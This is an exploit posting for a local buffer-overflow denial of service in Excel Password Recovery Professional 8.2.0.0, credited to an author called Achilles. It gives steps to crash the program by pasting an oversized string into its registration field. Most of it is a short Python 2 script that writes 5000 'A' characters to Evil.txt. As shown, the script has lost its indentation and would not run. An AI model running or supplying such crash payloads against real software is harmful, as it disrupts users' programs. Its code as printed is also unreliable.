Exel Password Recovery 8.2.0.0 Buffer Overflow / Denial Of Service

Exel Password Recovery version 8.2.0.0 suffers from buffer overflow and denial of service vulnerabilities.


MD5 | fb1b20d2ea20a2a54e50398fca81a0f5

# Exploit Title: Excel Password Recovery Professional 
# Date: 15-12-2018
# Vendor Homepage:https://www.recoverlostpassword.com/
# Software Link :https://www.recoverlostpassword.com/downloads/excel_password_recovery_pro_trial.exe
# Exploit Author: Achilles
# Tested Version: 8.2.0.0
# Tested on: Windows 7 64
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:
# 1.- Run python code : Excel_Password_Recovery.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open Excel Password Recovery Professional
# 4.- Paste the content of EVIL.txt into the field: 'E-Mail and Registrations Code'
# 5.- Click 'Register' and you will see a crash.

#!/usr/bin/env python

buffer = "\x41" * 5000

try:
f=open("Evil.txt","w")
print "[+] Creating %s bytes evil payload.." %len(buffer)
f.write(buffer)
f.close()
print "[+] File created!"
except:
print "File cannot be created"




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